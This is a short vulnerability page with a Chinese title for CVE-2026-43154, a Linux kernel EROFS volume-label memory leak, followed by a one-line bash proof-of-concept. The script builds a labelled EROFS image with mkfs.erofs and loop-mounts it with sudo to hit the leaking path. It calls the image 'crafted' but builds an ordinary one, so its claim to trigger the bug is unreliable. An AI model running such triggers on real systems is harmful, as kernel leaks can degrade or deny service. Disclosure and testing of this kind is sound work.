CVE-2026-43154 Linux内核EROFS卷标处理内存泄漏漏洞

#!/bin/bash # PoC for CVE-2026-43154: EROFS Volume Label Folio Leak # This script demonstrates the trigger condition: mounting a crafted EROFS image. # Note: Reproducing the specific leak requires a kernel built before the patch # and potentially specific image parameters, but the vector is the mount operation. IMAGE_FILE="crafted_erofs.img" MOUNT_DIR="/tmp/erofs_poc" SOURCE_DIR="source_erofs" # 1. Prepare a directory structure mkdir -p $SOURCE_DIR echo "Sensitive Data" > $SOURCE_DIR/file.txt # 2. Create an EROFS image with a volume label # The vulnerability is triggered during the handling of this label. # Using 'mkfs.erofs' to create a valid image structure. echo "[*] Creating EROFS image with volume label..." if command -v mkfs.erofs &> /dev/null; then mkfs.erofs -L "VulnLabel_CVE-2026-43154" $IMAGE_FILE $SOURCE_DIR else echo "[!] mkfs.erofs not found. Please install erofs-utils." exit 1 fi # 3. Prepare mount point mkdir -p $MOUNT_DIR # 4. Trigger the vulnerability # The leak occurs when the kernel processes the superblock and volume label echo "[*] Attempting to mount image to trigger early exit path..." sudo mount -t erofs -o loop $IMAGE_FILE $MOUNT_DIR 2>/dev/null if [ $? -eq 0 ]; then echo "[+] Image mounted successfully. Memory leak may have occurred." # In a real test environment, use 'slabtop' or kernel debug tools to monitor folio leaks. sleep 1 sudo umount $MOUNT_DIR else echo "[-] Mount failed. Check kernel logs (dmesg)." fi # Cleanup rm -rf $SOURCE_DIR $IMAGE_FILE $MOUNT_DIR echo "[*] Cleanup complete."